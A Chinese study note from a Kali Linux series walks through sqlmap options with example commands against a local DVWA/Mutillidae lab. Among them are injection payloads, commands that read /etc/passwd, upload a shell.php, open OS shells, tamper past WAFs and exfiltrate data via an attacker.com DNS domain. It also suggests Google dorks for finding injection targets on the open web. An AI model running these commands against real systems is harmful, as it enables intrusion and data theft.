Kali linux 学习笔记(五十一)Web渗透——sqlmap自动注入 2020.3.28

前言

sqlmap
开源sql注入漏洞检测、利用工具

功能

  • 检测动态页面中get/post参数、cookie、http头
  • 数据榨取
  • 文件系统访问
  • 操作系统命令执行
  • xss漏洞检测

五种漏洞检测技术

  • 基于布尔的盲注检测 :' and 1=1
  • 基于时间的盲注检测 :' and (select * from (select(sleep(20)))a)--+
  • 基于错误的检测
  • 基于UNION联合查询的检测 :适用于通过循环直接输出联合查询结果,否则只显示第一项结果
  • 基于堆叠查询的检测 :用";"堆叠多个查询语句,适用于非select的数据修改、删除的操作

特性

  • 数据库直接连接 -d :不通过SQL注入,指定身份认证信息、IP、端口
  • 与burpsuite、google结合使用,支持正则表达式限定测试目标
  • Get、post、cookie、Referer、UserAgent (随机或指定) :Cookie过期后自动处理Set-Cookie头,更新cookie信息
  • 限速: 最大并发、延迟发送
  • 支持Basic,Digest,NTLM,CA身份认证
  • 数据库版本、用户、权限、hash枚举和字典破解、暴力破解表列名称
  • 文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表
  • 与w3af、metasploit集成结合使用,基于数据库服务进程提权和上传执行后门
  • 支持的数据库管理系统DBMS :MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB

安装

apt-get install sqlmap #安装
sqlmap -h / -hh #查看帮助
sqlmap --version / -v #查看版本

1、target

指令

At least one of these options has to be provided to define the
target(s)
-d DIRECT           Connection string for direct database connection
-u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file
-x SITEMAPURL       Parse target(s) from remote sitemap(.xml) file
-m BULKFILE         Scan multiple targets given in a textual file
-r REQUESTFILE      Load HTTP request from a file
-g GOOGLEDORK       Process Google dork results as target URLs
-c CONFIGFILE       Load options from a configuration INI file

dvwa:192.168.1.116

get方法

# -p 指定想要检查的变量
# -f 指定查询系统指纹信息
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details"  -p username
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --users #针对用户列表查询 
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --banner #针对版本信息查询
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --dbs #针对数据库信息查询(查询有哪些库)
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --schema #针对元数据进行查询
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username -a #查询所有的信息
#查询结果被放在 /root/.sqlmap/output/192.168.1.121
sqlmap -d "mysql://user:[email protected]:3306/dvwa" -f --users #直接连接数据库进行查询示例

url列表

vim list.txt
    http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details
sqlmap -m list.txt
sqlmap -m list.txt --dbs

扫描 google 搜索结果(需要)

sqlmap -g "inurl:\".php?id=1\"" #\用来转义

post方法

使用http请求文件(burpsuite)
打开 http://192.168.1.116/mutillidae/
找到 sql 注入的第二个页面 http://192.168.1.116/mutillidae/index.php?page=login.php
提交表单时,数据内容不会出现在 url 地址中,判定为 post 方法

使用 burpsuite 的 proxy
burpsuite 捕获数据包头,复制并保存至 /root/post.txt
读取请求文件,查询数据库信息

sqlmap -r post.txt --dbs

打开 burpsuite 的 Project options 选项卡的 Misc
勾选 Logging 的 Proxy 的 Requests
选择日志保存路径,关闭截断代理,浏览器登录表单
浏览器重新提交请求
查看日志内容
使用 sqlmap 进行扫描

sqlmap -l log.txt 
sqlmap -l log.txt -p username

结果显示有的 URL 含有注入漏洞

支持 HTTPS

sqlmap -u "https://1.1.1.1/a.php?id=1:8843" --force-ssl

配置文件

dpkg -L sqlmap | grep sqlmap.conf #默认配置文件放置位置
    /etc/sqlmap/sqlmap.conf
    /usr/share/doc/sqlmap/examples/sqlmap.conf.gz
sqlmap -c sqlmap.conf #扫描时指定配置文件

2、request

指令

Request:
    These options can be used to specify how to connect to the target URL
    --method=METHOD     Force usage of given HTTP method (e.g. PUT)
    --data=DATA         Data string to be sent through POST
    --param-del=PARA..  Character used for splitting parameter values
    --cookie=COOKIE     HTTP Cookie header value
    --cookie-del=COO..  Character used for splitting cookie values
    --load-cookies=L..  File containing cookies in Netscape/wget format
    --drop-set-cookie   Ignore Set-Cookie header from response
    --user-agent=AGENT  HTTP User-Agent header value
    --random-agent      Use randomly selected HTTP User-Agent header value
    --host=HOST         HTTP Host header value
    --referer=REFERER   HTTP Referer header value
    -H HEADER, --hea..  Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
    --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123")
    --auth-type=AUTH..  HTTP authentication type (Basic, Digest, NTLM or PKI)
    --auth-cred=AUTH..  HTTP authentication credentials (name:password)
    --auth-file=AUTH..  HTTP authentication PEM cert/private key file
    --ignore-code=IG..  Ignore HTTP error code (e.g. 401)
    --ignore-proxy      Ignore system default proxy settings
    --ignore-redirects  Ignore redirection attempts
    --ignore-timeouts   Ignore connection timeouts
    --proxy=PROXY       Use a proxy to connect to the target URL
    --proxy-cred=PRO..  Proxy authentication credentials (name:password)
    --proxy-file=PRO..  Load proxy list from a file
    --tor               Use Tor anonymity network
    --tor-port=TORPORT  Set Tor proxy port other than default
    --tor-type=TORTYPE  Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
    --check-tor         Check to see if Tor is used properly
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --retries=RETRIES   Retries when the connection timeouts (default 3)
    --randomize=RPARAM  Randomly change value for given parameter(s)
    --safe-url=SAFEURL  URL address to visit frequently during testing
    --safe-post=SAFE..  POST data to send to a safe URL
    --safe-req=SAFER..  Load safe HTTP request from a file
    --safe-freq=SAFE..  Test requests between two visits to a given safe URL
    --skip-urlencode    Skip URL encoding of payload data
    --csrf-token=CSR..  Parameter used to hold anti-CSRF token
    --csrf-url=CSRFURL  URL address to visit to extract anti-CSRF token
    --force-ssl         Force usage of SSL/HTTPS
    --hpp               Use HTTP parameter pollution method
    --eval=EVALCODE     Evaluate provided Python code before the request (e.g.
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")

数据段:–data

get / post 都适用

sqlmap -u "http:// 1.1.1.1/a.php" --data="user= 1&pass=2" -f

POET

# 在 Firebug 里提取数据段,这样 SQLMAP 会自动检测数据段每个变量是否存在注入漏洞
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=login.php" --data="username=1&password=1&login-php-submit-button=Login" --dbs

GET

# 将一个完整的URL拆开
sqlmap -u "http://192.168.1.116/mutillidae/index.php" --data="page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --users

变量分隔符:–param-del

# 将变量用分隔符进行分隔,先检查第一个,再检查第二个....
http:// 1.1.1.1/a.php?q=foo;id=1 // ; &
sqlmap -u "http://1.1.1.1/a.php " --data="q=foo;id=1" --param-del=";" -f

cookie 头: --cookie

web应用需要基于cookie的身份认证
sqlmap 会自动检查cookie中的注入点(level>=2)

Set-Cookie / --drop-set-cookie / --cookie-del   #不更新cookie,继续使用原本的cookie
sqlmap -u"http://1.1.1.1/a.php?id=1" -cookie="a= 1;b=2"-f

cookie可以在 Firebug 中查找,使用 DVWA
http:///192.168.1.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

sqlmap -u "http:///192.168.1.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --dbs
# 使检查 cookie 中的注入点(level>=2)
sqlmap -u "http:///192.168.1.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --level 2 --dbs

–user-agent

默认使用的 user-agent 是: sqlmap/ 1.0-dev-xxxxxx (http://sqlmap.org) #xxxx是版本号

sqlmap -u "http://192.168.1.116/dvwa/" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36"  --dbs

想要使用随机 user-agnet (列表中随机抽取),可以使用 --random-agent
字典文件在:/usr/share/sqlmap/txt/user-agents.txt

sqlmap -u "http://192.168.1.116/dvwa/" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36"  --random-agent --dbs
sqlmap -u "http://192.168.1.116/dvwa/" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --user-agent=AAAAAAAAAAAAAAA --dbs
sqlmap -u "http://192.168.1.116/dvwa/" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --user-agent=AAAAAAAAAAAAAAA --level 3 --dbs #sqlmap 检查 user-agent 中的注入点:level >= 3

Host头:–host

指定 host 头

sqlmap -u "http://192.168.1.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --host="aaaaaaaaaa" --dbs
sqlmap -u "http://192.168.1.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --host="aaaaaaaaaa" --level 5 --users #使 sqlmap 检查 Host 是否存在注入点,level = 5

Referer头: --referer

指定 Referer头

sqlmap -u "http://192.168.1.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --referer="aaaaaaaaaa" --users
sqlmap -u "http://192.168.1.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --referer="aaaaaaaaaa" --level 3 --users #使 sqlmap 检查 Referer头 是否存在注入点,level >= 3

额外的headers: --headers

#每个头单独一行(名称区分大小写)
sqlmap -u "http://1.1.1.1/a.php?id=1" --headers="host:www.a.com\nUser-Agent:yuanfh"
sqlmap -u "http://192.168.1.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --headers="Host:www.aaa.com\nUser-Agent:AAAAAAAAAA" -f

–method =GET/POST

sqlmap 默认先尝试 GET 方法。一旦 GET 方法不行,再使用 POST 方法
可以指定请求方法

sqlmap -u "http://192.168.1.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --headers="Host:www.aaa.com\nUser-Agent:AAAAAAAAAA"  --method=GET -f

基于HTTP协议的身份验证

--auth-type=AUTH..  HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred=AUTH..  HTTP authentication credentials (name:password)
sqlmap -u "http://1.1.1.1/a.php?id=1" --auth-type=Basic --auth-cred="user:pass"

http(s) 代理

–proxy

--proxy=PROXY       Use a proxy to connect to the target URL
--proxy-cred=PRO..  Proxy authentication credentials (name:password)
--proxy-file=PRO..  Load proxy list from a file

使用方法

--proxy="http://127.0.0.1:8087" #代理的IP和端口
--proxy-cred="name:pass" #代理的身份认证
--ignore-proxy   #忽略系统级代理设置,通常用于扫描本地网络目标
sqlmap -u "http://1.1.1.1/a.php?id=1"--proxy="http://127.0.0.1:8087" -f

可以用搜索引擎:inurl:.php?id= 寻找sql注入练习目标

–delay

每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟

–timeout

请求超时时间,浮点数,默认为30秒

–retries

http(s)连接超时重试次数,默认3次

–randomize

长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名

sqlmap -u "http://1.1.1.1/a.php?id=111" --randomize="id" #让 id 在保持三位数的前提下,随机取之

–scope

过滤日志内容,通过正则表达式筛选扫描对象

sqlmap -l burp.log --scope="(www)\.target\.(com | net | org)"
sqlmap -l 2.log --scope="(19)?\.168\.20\.(1 | 10 | 100)" --level 3 --dbs
# 可发现 User-agent 中的注入点(需要 level>=3)
# log.txt 是浏览器使用 BurpSuite 的代理日志(在BurtSuite设置)
# level >=2 的时候,就会检查 cookie ,所以此时检查了cookie

–safe-url/–safe-freq

检测和盲注阶段会产生大量失败请求,服务器端可能因此销毁session
每发送–safe-freq次注入请求后,发送一次正常请求

–skip-urlencode

默认Get方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使用原始字符提交数据

–eval

每次请求前执行指定的python代码
每次请求更改或增加新的参数值(时间依赖、其他参数值依赖)
在测试 id 值的注入漏洞时,服务器端需要验证是否匹配后面的 hash 值,此时就可以使用这个 --eval

sqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="importhashlib;hash=hashlib.md5(id).hexdigest()"

例子

root@kali: echo "[email protected]" | md5sum | cut -d ' ' -f1 #计算hash
6ab4eb10e3e68ff45f92de98bbdfee4b

得到url是http://1.1.1.1/[email protected]&hash=6ab4eb10e3e68ff45f92de98bbdfee4b
用–eval

sqlmap -u "http://1.1.1.1/[email protected]&hash=" --eval="importhashlib;hash=hashlib.md5(id).hexdigest()"
#修改id,会自动填入hash

3、optimization

优化

Optimization:
    These options can be used to optimize the performance of sqlmap
-o                  Turn on all optimization switches
--predict-output    Predict common queries output
--keep-alive        Use persistent HTTP(s) connections
--null-connection   Retrieve page length without actual HTTP response body
--threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)

–predict-output

根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率
对比内容:版本名、用户名、密码、Privileges、role、数据库名称、表名、列名
与 --threads 参数不兼容
统计表默认位置: /usr/share/sqlmap/txt/common-outputs.txt

–keep-alive

使用 http(s) 长连接,性能好
与 --proxy 参数不兼容
长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源(节省网络开销,但是会占用服务器资源,防止重复建立连接时被服务器端检测发现)

–null-connection

只获取相应页面的大小值,而非页面具体内容
通常用于盲注判断真/假,降低网络带宽消耗
与 --text-only 参数不兼容(基于页面内容的比较判断真/假)

–threads=7

最大并发线程,默认是 1
盲注时每个线程获取一个字符(7次请求),获取完成后线程结束
每个连接的线程里都访问7次请求,7次请求(7位二进制位)就可以确定一个十进制值,每个线程只获取一个十进制数
默认值为1,建议不要超过1O,否则可能影响站点可用性(被服务器端检测到)
与 --predict-output 参数不兼容

4、injection

注入

Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts
    -p TESTPARAMETER    Testable parameter(s)
    --skip=SKIP         Skip testing for given parameter(s)
    --skip-static       Skip testing parameters that not appear to be dynamic
    --param-exclude=..  Regexp to exclude parameters from testing (e.g. "ses")
    --dbms=DBMS         Force back-end DBMS to this value
    --dbms-cred=DBMS..  DBMS authentication credentials (user:password)
    --os=OS             Force back-end DBMS operating system to this value
    --invalid-bignum    Use big numbers for invalidating values
    --invalid-logical   Use logical operations for invalidating values
    --invalid-string    Use random strings for invalidating values
    --no-cast           Turn off payload casting mechanism
    --no-escape         Turn off string escaping mechanism
    --prefix=PREFIX     Injection payload prefix string
    --suffix=SUFFIX     Injection payload suffix string
    --tamper=TAMPER     Use given script(s) for tampering injection data

-p

指定扫描的参数,使–level失效

-p "user-agent,referer"

–skip

排除指定的扫描参数

--level=5 --skip="id,user-agent"

URI注入点

有形如目录的连接,sqlmap是无法自动识别的,可以手动在变量值后面加上一个*号
URL 和 URN 都属于 URI

sqlmap -u "http://targeturl/param1/value1*/param2/value2*/"

–dbms

指定数据库类型,只用针对某种数据库的方法来进行扫描,也可以指定版本

--dbms="mysql"
    MySQL <5.0>
    Oracle <11i>
    Microsoft SQL Server <2005>
    PostgreSQL
    Microsoft Access
    SQLite
    Firebird
    sybase
    sAP MaxDB
    DB2
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --dbms="mysql"

–os

指定系统
Linux
Windows

–invalid-bignum /–invalid-logical

通常 sqlmap 使用负值使参数取值失效。 id=13,使其失效: id=-13
–invalid-bignum 使用大数使参数值失效。id=13,使其失效:id= 999999999
–invalid-logical 使用布尔判断取值使其失效id=13。id=13,使其失效:AND 18=19
–invalid-string 使用随机字符串使其失效。

–no-cast

榨取数据时,sqlmap 将所有结果转换为字符串,并用空格替换 NULL 结果
老版本 mysql 数据库需要开启此开关

–no-escape

出于混淆和避免出错的目的,在 payload 中用单引号界定字符串时,sqlmap 默认使用 char() 编码逃逸的方法替换字符串,躲避检查
SELECT ‘foo’ -> SELECT CHAR(102)+CHAR(111)+CHAR(111)
本参数将关闭此功能

–prefix=PREFIX/–suffix=SUFFIX

有些情况下,需要添加 pyload 前缀和 pyload 后缀,才能注入成功

$query = "SELECT * FROM users WHERE id=() LIMIT O,1";

有些情况,在注入 ".$_GET[id']." 时,把前面的单引号闭合之后,同时把后面的注释之后,会出错,此时就需要添加前缀和后缀以保证后面部分的sql语句也能用
基于上述的举例,将<'".$_GET['id']."'>进行替换:sqlmap -u "http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id –prefix=")" –suffix="AND ('abc'='abc"
拼合结果:$query = "SELECT * FROM users WHERE id=('1') AND ('abc'='abc') LIMIT O,1";

–tamper

混淆脚本,用于绕过应用层过滤、IPS、WAF
绕过 WAF 的脚本:

dpkg -L sqlmap | grep tamper

针对不同的服务器,使用的脚本不一样

sqlmap -u "http://1.1.1.1/a.php?id=l" --tamper="between.py,randomcase.py,space2comment.py" -v 3

5、detection

检查

Detection:
    These options can be used to customize the detection phase
    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)
    --string=STRING     String to match when query is evaluated to True
    --not-string=NOT..  String to match when query is evaluated to False
    --regexp=REGEXP     Regexp to match when query is evaluated to True
    --code=CODE         HTTP code to match when query is evaluated to True
    --text-only         Compare pages based only on the textual content
    --titles            Compare pages based only on their titles

–level

1-5级 (默认1)
payloads 文件:/usr/share/sqlmap/xml/payloads/

–risk

1-3(默认1/无害,值越高风险越大)
Risk升高可造成数据被篡改等风险(update)

–string,–not-string,–regexp,–code,–text-only,–titles

页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑
但有些页面随时间阈值变化,此时需要人为指定标识真假的字符串

6、techniques

默认使用全部技术

Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques
    --technique=TECH    SQL injection techniques to use (default "BEUSTQ")
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
    --union-char=UCHAR  Character to use for bruteforcing number of columns
    --union-from=UFROM  Table to use in FROM part of UNION query SQL injection
    --dns-domain=DNS..  Domain name used for DNS exfiltration attack
    --second-order=S..  Resulting page URL searched for second-order response

–time-sec

基于时间的注入检测相应延迟时间(默认5秒)

–union-cols

默认联合查询1-10列,随 --level 增加最多支持50列

--union-cols 6-9

–union-char

联合查询默认使用 NULL, 极端情况下 NULL 可能失败,此时可以手动指定数值

--union-char 123

–dns-domain

攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度

--dns-domain attacker.com 

–second-order

在一个页面注入的结果,从另一个页面体现出来

--second-order http:// 1.1.1.1/b.php

7、enumeration

枚举

Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements
    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --hostname          Retrieve DBMS server hostname
    --is-dba            Detect if the DBMS current user is DBA
    --users             Enumerate DBMS users
    --passwords         Enumerate DBMS users password hashes
    --privileges        Enumerate DBMS users privileges
    --roles             Enumerate DBMS users roles
    --dbs               Enumerate DBMS databases
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --count             Retrieve number of entries for table(s)
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    --search            Search column(s), table(s) and/or database name(s)
    --comments          Retrieve DBMS comments
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate
    -X EXCLUDE          DBMS database identifier(s) to not enumerate
    -U USER             DBMS user to enumerate
    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
    --pivot-column=P..  Pivot column name
    --where=DUMPWHERE   Use WHERE condition while table dumping
    --start=LIMITSTART  First dump table entry to retrieve
    --stop=LIMITSTOP    Last dump table entry to retrieve
    --first=FIRSTCHAR   First query output word character to retrieve
    --last=LASTCHAR     Last query output word character to retrieve
    --sql-query=QUERY   SQL statement to be executed
    --sql-shell         Prompt for an interactive SQL shell
    --sql-file=SQLFILE  Execute SQL statements from given file(s)

–current-user / --current-db

# 当前数据库管理系统的账号
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --current-user 
# 当前数据库名称
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --current-db

–dump

# 只想看 user_id 第三条和第四条
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details"  -D dvwa -T users --dump --start 3 --stop 4
# 全部,批处理
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details"  -D dvwa -T users --dump-all --batch

8、brute force

暴力破解

Brute force:
    These options can be used to run brute force checks
    --common-tables     Check existence of common tables
    --common-columns    Check existence of common columns

需要暴破数据库的情况:

  • Mysql < 5.0,没有 information_schema 库
  • Mysq| >= 5.0,但无权读取information_schema 库时
  • 微软的 access 数据库,默认无权读取 MSysObjects 库

–common-tables

暴力破解表

sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --common-tables

–common-columns

暴力破解当前表的列,也可以手动指定

sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -T accounts --common-columns

9、User-defined function injection

用户定义功能注入

User-defined function injection:
    These options can be used to create custom user-defined functions
    --udf-inject        Inject custom user-defined functions
    --shared-lib=SHLIB  Local path of the shared library

见文档
https://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857

10、File system access

文件系统访问

File system access:
    These options can be used to access the back-end database management
    system underlying file system
    --file-read=RFILE   Read a file from the back-end DBMS file system
    --file-write=WFILE  Write a local file on the back-end DBMS file system
    --file-dest=DFILE   Back-end DBMS absolute filepath to write to

–file-read="/etc/passwd"

读取系统的文件,并写入sqlmap 文件

sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --file-read="/etc/passwd"

–file-write=”shell.php” / –file-dest “/tmp/shell.php”

写入文件,要求在路径下必须存在此文件,将这个文件写入到服务器
–file-dest
服务器放置文件的路径

sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --file-write="/root/shell.php" --file-dest "/tmp/shell.php"

11、OS

操作系统访问

Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system
    --os-cmd=OSCMD      Execute an operating system command
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC
    --os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC
    --os-bof            Stored procedure buffer overflow exploitation
    --priv-esc          Database process user privilege escalation
    --msf-path=MSFPATH  Local path where Metasploit Framework is installed
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

Mysql、postgresql:上传共享库并生成sys_exec()、sys_eval()两个UDF
Mssql:xp_cmdshell 存储过程(有就用、禁了启,没有建)

sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --sql-shell

12、Windows registry access

Windows 注册表访问

Windows registry access:
    These options can be used to access the back-end database management
    system Windows registry
    --reg-read          Read a Windows registry key value # 读注册表
    --reg-add           Write a Windows registry key value data  # 添加新的注册表
    --reg-del           Delete a Windows registry key value  # 删除注册表
    --reg-key=REGKEY    Windows registry key # 指定注册表的键
    --reg-value=REGVAL  Windows registry key value # 指定注册表的值
    --reg-data=REGDATA  Windows registry key value data # 指定注册表的数据
    --reg-type=REGTYPE  Windows registry key value type  # 指定注册表的类型

要求执行数据库操作的用户拥有操作注册表的权限

sqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --regkey="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value="Test" --reg-type="REG_SZ" --reg-data="1"

13、general

一般操作

General:
    These options can be used to set some general working parameters
    -s SESSIONFILE      Load session from a stored (.sqlite) file
    -t TRAFFICFILE      Log all HTTP traffic into a textual file
    --batch             Never ask for user input, use the default behavior
    --binary-fields=..  Result fields having binary values (e.g. "digest")
    --check-internet    Check Internet connection before assessing the target
    --crawl=CRAWLDEPTH  Crawl the website starting from the target URL
    --crawl-exclude=..  Regexp to exclude pages from crawling (e.g. "logout")
    --csv-del=CSVDEL    Delimiting character used in CSV output (default ",")
    --charset=CHARSET   Blind SQL injection charset (e.g. "0123456789abcdef")
    --dump-format=DU..  Format of dumped data (CSV (default), HTML or SQLITE)
    --encoding=ENCOD..  Character encoding used for data retrieval (e.g. GBK)
    --eta               Display for each output the estimated time of arrival
    --flush-session     Flush session files for current target
    --forms             Parse and test forms on target URL
    --fresh-queries     Ignore query results stored in session file
    --har=HARFILE       Log all HTTP traffic into a HAR file
    --hex               Use DBMS hex function(s) for data retrieval
    --output-dir=OUT..  Custom output directory path
    --parse-errors      Parse and display DBMS error messages from responses
    --save=SAVECONFIG   Save options to a configuration INI file
    --scope=SCOPE       Regexp to filter targets from provided proxy log
    --test-filter=TE..  Select tests by payloads and/or titles (e.g. ROW)
    --test-skip=TEST..  Skip tests by payloads and/or titles (e.g. BENCHMARK)
    --update            Update sqlmap

-s

指定sqlite会话文件保存位置
默认 sqlmap 查询的信息都保存在 .sqlmap/output/10.10.10.132/ 下

-t

指定记录流量文件保存位置

–charset

强制字符编码

--charset=GBK

–crawl

从起始位置爬站深度

--batch --crawl=3

–csv-del

指定其他分隔符, dump数据默认存于“,”分割的CSV文件中

--csv-del=";"

–flush-session

清空会话,即清空本地查询的保存结果

–force-ssl

指定使用 ssl 加密

–fresh-queries

忽略 session 文件内的查询结果

–hex

dump非ASCI字符内容时,将其编码为16进制形式,收到后解码还原

sqlmap -u "http://1.1.1.1/s.php?id=1" --hex -v 3

–output-dir

指定输出目录(默认optput)

--output-dir=/tmp

–parse-errors

分析和现实数据库内建报错信息

sqlmap.py -u "http://1.1.1.1/sqlmap/a.asp?id=" --parse-errors

–save

将命令保存成配置文件

sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details"  -D dvwa -T users --dump-all --exclude-sysdbs --batch --csv-del=";" --fresh-queries --save /root/111.txt

14、Miscellaneous

杂项

Miscellaneous:
    -z MNEMONICS        Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
    --alert=ALERT       Run host OS command(s) when SQL injection is found
    --answers=ANSWERS   Set question answers (e.g. "quit=N,follow=N")
    --beep              Beep on question and/or when SQL injection is found
    --cleanup           Clean up the DBMS from sqlmap specific UDF and tables
    --dependencies      Check for missing (non-core) sqlmap dependencies
    --disable-coloring  Disable console output coloring
    --gpage=GOOGLEPAGE  Use Google dork results from specified page number
    --identify-waf      Make a thorough testing for a WAF/IPS/IDS protection
    --mobile            Imitate smartphone through HTTP User-Agent header
    --offline           Work in offline mode (only use session data)
    --purge-output      Safely remove all content from output directory
    --skip-waf          Skip heuristic detection of WAF/IPS/IDS protection
    --smart             Conduct thorough tests only if positive heuristic(s)
    --sqlmap-shell      Prompt for an interactive sqlmap shell
    --tmp-dir=TMPDIR    Local directory for storing temporary files
    --web-root=WEBROOT  Web server document root directory (e.g. "/var/www")
    --wizard            Simple wizard interface for beginner users

-z

sqlmap --batch --random-agent --ignore-proxy-technique=BEU -U "1.1.1.1/a.php?id=1"
#支持简写
sqlmap -z "bat,randoma,ign,tec=BEU" -u " 1.1.1.1/a.php?id=1"

–answer

指定问题的回答

sqlmap -u "http://1.1.1.1/a.php?id=l" --technique=E --answers="extending=N" --batch

–identify-waf

对一个waf/ip/ids保护进行彻底的测试

–skip-waf

跳过对waf/ip/ids保护的启发式检测

–hpp

绕过WAF/IPS/IDS的有效方法
尤其对 ASP/IIS 和 ASP.NET/IIS

–offline

在脱机模式下工作(只使用会话数据)

–mobile

通过HTTP用户代理头模拟智能手机

–dependencies

检查缺失的(非核心)sqlmap依赖项

–smart

只有当积极的启发式扫描时才进行全面的测试
先检查简单的,结果正确,再进一步检测

–web-root

Web服务器文档根目录

–wizard

为初学者用户提供简单的向导界面

–purge-output

安全地从输出目录中删除所有内容, 清除output文件夹

结语

sqlmap是个非常强大的sql自动注入工具
笔者学了两天把所有指令基本过了一遍

当然
自动的还是不如手动的
实践中要注意

你可能感兴趣的:(kali,linux)